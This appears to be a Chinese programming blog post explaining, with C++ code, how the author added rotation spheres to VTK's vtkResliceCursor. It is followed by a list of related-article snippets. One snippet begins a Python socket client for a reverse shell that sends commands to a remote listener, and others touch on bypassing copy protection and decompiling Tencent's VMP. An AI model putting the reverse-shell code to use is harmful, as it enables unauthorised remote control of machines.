可通过小球进行旋转的十字光标(vtkResliceCursor)
前一段事件看到VTK的一个例子:
该案例是vtk.js写的,觉得很有意思,个人正好也要用到,于是萌生了用C++修改VTK源码来实现该功能的想法。原本以为很简单,只需要修改一下vtkResliceCursor就可以了,加上小球,加上几个Actor,就能实现,没想到该功能整花了我差不多一个月的时间。但也学到了不少知识,下面就该功能的实现效果和方法做个大致解说:
我实现的效果:

实现方法:
1,首先在vtkResliceCursor中定义六个小球的位置。因为是X,Y,Z三个轴,每个轴上两个小球,所以总共有六个小球。代码:
void vtkResliceCursor::BuildCursorGeometryWithoutHole()
{// 其他源码省略.......for (int i = 0; i < 3; i++){//wulc{this->SpherePoints[0][i] = this->Center[i] - sphereLength * this->XAxis[i];this->SpherePoints[1][i] = this->Center[i] + sphereLength * this->XAxis[i];this->SpherePoints[2][i] = this->Center[i] - sphereLength * this->YAxis[i];this->SpherePoints[3][i] = this->Center[i] + sphereLength * this->YAxis[i];this->SpherePoints[4][i] = this->Center[i] - sphereLength * this->ZAxis[i];this->SpherePoints[5][i] = this->Center[i] + sphereLength * this->ZAxis[i];}}// 其他源码省略.......
}sphereLength 是一个自定义的常数,也就是中心到小球的距离。可以是 30 ,40 ,50 .。。。。
除此之外我们还要定义一个函数,通过该函数可以获取这六个小球的坐标。比如 GetPointPosition(double p[6][3]);
2,在vtkResliceCursorPicker中判断鼠标是否靠近小球中心位置,靠近小球坐标时,将鼠标光标变为手掌形状。判断方法就是鼠标的位置和小球位置的距离,其中有现成的代码:
/----------------wulc---------------------------------------------------
int vtkResliceCursorPicker::IntersectPointWithPoint(double p1[3], double p2[3], double Points[], double tol)
{double pts[6][3] = { {0,0,0} };for (size_t i = 0; i < 6; i++){pts[i][0] = Points[3*i];pts[i][1] = Points[3*i + 1];pts[i][2] = Points[3 * i + 2];}int j = 0;for ( ; j < 6; j++){double X[4] = { pts[j][0], pts[j][1], pts[j][2], 1 };int i;double ray[3], rayFactor, projXYZ[3];for (i = 0; i < 3; i++){ray[i] = p2[i] - p1[i];}if ((rayFactor = vtkMath::Dot(ray, ray)) == 0.0){return 0;}const double t = (ray[0] * (X[0] - p1[0]) +ray[1] * (X[1] - p1[1]) +ray[2] * (X[2] - p1[2])) / rayFactor;if (t >= 0.0 && t <= 1.0){for (i = 0; i < 3; i++){projXYZ[i] = p1[i] + t * ray[i];if (fabs(X[i] - projXYZ[i]) > tol){break;}}if (i > 2) // within tolerance{return 1;}}}return 0;
}
3,最后要在vtkResliceCursorActor类中添加小球,代码:
//wulcif (this->Renderer == nullptr) return;if (axisNormal == 1)//x-z平面{double* position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(2);if (fabs(position[0] - 0.0) > 0.001 || fabs(position[1] - 0.0) > 0.001 || fabs(position[2] - 0.0) > 0.001){this->SphereActor[2]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[3]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[2]->SetPosition(position[0], position[1], position[2]);this->SphereActor[3]->SetPosition(position[3], position[4], position[5]);position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(0);this->SphereActor[0]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[1]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[0]->SetPosition(position[0], position[1], position[2]);this->SphereActor[1]->SetPosition(position[3], position[4], position[5]);}}else if (axisNormal == 2)//x-y平面{double* position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(0);if (fabs(position[0] - 0.0) > 0.001 || fabs(position[1] - 0.0) > 0.001 || fabs(position[2] - 0.0) > 0.001){this->SphereActor[0]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[1]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[0]->SetPosition(position[0], position[1], position[2]);this->SphereActor[1]->SetPosition(position[3], position[4], position[5]);position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(1);this->SphereActor[2]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[3]->GetProperty()->SetColor(1, 0, 0);this->SphereActor[2]->SetPosition(position[0], position[1], position[2]);this->SphereActor[3]->SetPosition(position[3], position[4], position[5]);}}else if (axisNormal == 0) //y-z平面{double* position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(2);if (fabs(position[0] - 0.0) > 0.001 || fabs(position[1] - 0.0) > 0.001 || fabs(position[2] - 0.0) > 0.001){this->SphereActor[0]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[1]->GetProperty()->SetColor(0, 1, 0);this->SphereActor[0]->SetPosition(position[0], position[1], position[2]);this->SphereActor[1]->SetPosition(position[3], position[4], position[5]);position = this->CursorAlgorithm->GetResliceCursor()->GetSpherePostion(1);this->SphereActor[2]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[3]->GetProperty()->SetColor(0, 0, 1);this->SphereActor[2]->SetPosition(position[0], position[1], position[2]);this->SphereActor[3]->SetPosition(position[3], position[4], position[5]);}}
这就可以了,欢迎小伙伴能够一块讨论。
相关文章:
可通过小球进行旋转的十字光标(vtkResliceCursor)
前一段事件看到VTK的一个例子: 该案例是vtk.js写的,觉得很有意思,个人正好也要用到,于是萌生了用C修改VTK源码来实现该功能的想法。原本以为很简单,只需要修改一下vtkResliceCursor就可以了,加上小球&#…...
python遍历文件夹并计算某类文件的数量,制图像文件到目标文件夹
python遍历文件夹并计算某类文件的数量,制图像文件到目标文件夹 在Python中,你可以使用os和os.path模块来遍历文件夹(目录)。下面是一个简单的示例,展示了如何遍历一个文件夹中的所有文件和子文件夹: imp…...
网络层只懂路由?这9个知识点被严重低估了
号主:老杨丨11年资深网络工程师,更多网工提升干货,请关注公众号:网络工程师俱乐部 下午好,我的网工朋友。 网络层想必你已经耳熟能详,它的作用自然是不容小觑。 它负责将数据从源头准确地投递到目的地&am…...
最新的kali Linux源,解决apt update报错说没有数字签名
原因: 国内源的地址大部分都是http开头,这些地址早就无法使用。 解决方案: wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名 另外,需…...
RAG与Langchain简介
RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成(Retrieval-Augmented Generation),主要是通过从外部给大模型补充一些知识,相当于给模型外挂了一个知识库,让…...
绕过网页的阻止复制
绕过网页的阻止复制 一、问题的提出二、绕过技巧一三、绕过技巧二四、绕过技巧三五、总结说明 一、问题的提出 也是很久没有写文章了,今天突发奇想写一篇文章。首先你有没有被网页中的一些阻止你复制的页面所困扰。就是那种,你突然找到一篇文章…...
Jackson指定json的key
指定json的key 要在序列化JavaBean时指定JSON的key,可以使用JsonProperty注解来指定JavaBean属性序列化到JSON时使用的key。以下是一个简单的示例: import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.da…...
谷歌发布Infini-Transformer模型—无限注意力机制长度,超越极限
Transformer 是一种基于自注意力机制的深度学习模型,最初应用于自然语言处理领域,现已扩展到图像、音频等多个领域。与传统的循环神经网络 (RNN) 不同,Transformer 不依赖于顺序数据处理,能够并行计算,从而显著提高效率…...
激光点云配准算法——Cofinet / GeoTransforme / MAC
激光点云配准算法——Cofinet / GeoTransformer / MAC GeoTransformer MAC是当前最SOTA的点云匹配算法,在之前我用总结过视觉特征匹配的相关算法 视觉SLAM总结——SuperPoint / SuperGlue 本篇博客对Cofinet、GeoTransformer、MAC三篇论文进行简单总结 1. Cofine…...
socket--cs--nc简单实现反弹shell
socket_client.py import socket#客户端: #连接服务段的地址和端口 #输入命令发送执行 #回显命令执行结果# ipinput(please input connect ip:) # portinput(please input connect port:)ssocket.socket() # IP and PORT s.connect((,9999)) while True:cmdlineinput(please i…...
CSS入门基础2
目录 1.标签类型 2.块元素 3.行内元素 4.行内块元素 5.标签行内转换 6.背景样式 1.标签类型 标签以什么方式进行显示,比如div 自己占一行, 比如span 一行可以放很多个HTML标签一般分为块标签和行内标签两种类型: 块元素行内元素。 2.块…...
Mac vscode could not import github.com/gin-gonic/gin
问题背景: 第一次导入一个go的项目就报红 问题分析: 其实就是之前没有下载和导入gin这个web框架包 gin是一个golang的微框架,封装比较优雅,API友好,源码注释比较明确。 问题解决: 依次输入以下命令。通…...
MySQL修改用户权限(宝塔)
在我们安装好的MySQL中,很可能对应某些操作时,不具备操作的权限,如下是解决这些问题的方法 我以宝塔创建数据库为例,创建完成后,以创建的用户名和密码登录 这里宝塔中容易发生问题的地方,登录不上去&#…...
论文阅读(一种新的稀疏PCA求解方式)Sparse PCA: A Geometric Approach
这是一篇来自JMLR的论文,论文主要关注稀疏主成分分析(Sparse PCA)的问题,提出了一种新颖的几何解法(GeoSPCA)。 该方法相比传统稀疏PCA的解法的优点:1)更容易找到全局最优ÿ…...
Chrome/Edge浏览器视频画中画可拉动进度条插件
目录 前言 一、Separate Window 忽略插件安装,直接使用 注意事项 插件缺点 1 .无置顶功能 2.保留原网页,但会刷新原网页 3.窗口不够美观 二、弹幕画中画播放器 三、失败的尝试 三、Potplayer播放器 总结 前言 平时看一些视频的时候ÿ…...
pg修炼之道学习笔记
一、数据库逻辑结构介绍 1、一个pg数据库服务下有多个db(多个数据库),当应用连接到一个数据库时,一般只能访问这个数据库中的数据,而不能访问其他数据库的内容(限制) 2、表索引:一…...
使用宝塔面板部署Django应用(不成功Kill Me!)
使用宝塔面板部署Django应用 文章目录 使用宝塔面板部署Django应用 本地操作宝塔面板部署可能部署失败的情况 本地操作 备份数据库 # 备份数据库 mysqldump -u root -p blog > blog.sql创建requirements # 创建requirements.txt pip freeze > requirements.txt将本项目…...
c++深拷贝、浅拷贝
在 C 中,深拷贝和浅拷贝是两个重要的概念,尤其在涉及动态内存分配和指针成员时。这两个概念描述了对象复制时的行为。 浅拷贝 浅拷贝是指复制对象时,仅复制对象的基本数据成员,对于指针成员,只复制指针地址ÿ…...
k8s核心组件
Master组件: kube-apiserver:用于暴露Kubernetes API,任何资源请求或调用操作都是通过kube-apiserver提供的接口进行。它是Kubernetes集群架构的大脑,负责接收所有请求,并根据用户的具体请求通知其他组件工作。etcd&am…...
反编译腾讯vmp
反编译腾讯vmp 继续学习的过程 多翻译几个vmp 学习 看看他们的是怎么编译的 写一个自己的vmp function __TENCENT_CHAOS_VM(U, T, g, D, j, E, K, w) {// U指令起点// T是指令list// g是函数this 或window对象// D是内部变量和栈}for (0; ;)try {for (var B !1; !B;) {let no…...
eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)
说明: 想象一下,你正在用eNSP搭建一个虚拟的网络世界,里面有虚拟的路由器、交换机、电脑(PC)等等。这些设备都在你的电脑里面“运行”,它们之间可以互相通信,就像一个封闭的小王国。 但是&#…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...
2024年赣州旅游投资集团社会招聘笔试真
2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...
SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ;并安装。 基础操作不再赘述。 打开 macOS 终端,开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
JS手写代码篇----使用Promise封装AJAX请求
15、使用Promise封装AJAX请求 promise就有reject和resolve了,就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...
RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...
手机平板能效生态设计指令EU 2023/1670标准解读
手机平板能效生态设计指令EU 2023/1670标准解读 以下是针对欧盟《手机和平板电脑生态设计法规》(EU) 2023/1670 的核心解读,综合法规核心要求、最新修正及企业合规要点: 一、法规背景与目标 生效与强制时间 发布于2023年8月31日(OJ公报&…...
华为OD机试-最短木板长度-二分法(A卷,100分)
此题是一个最大化最小值的典型例题, 因为搜索范围是有界的,上界最大木板长度补充的全部木料长度,下界最小木板长度; 即left0,right10^6; 我们可以设置一个候选值x(mid),将木板的长度全部都补充到x,如果成功…...
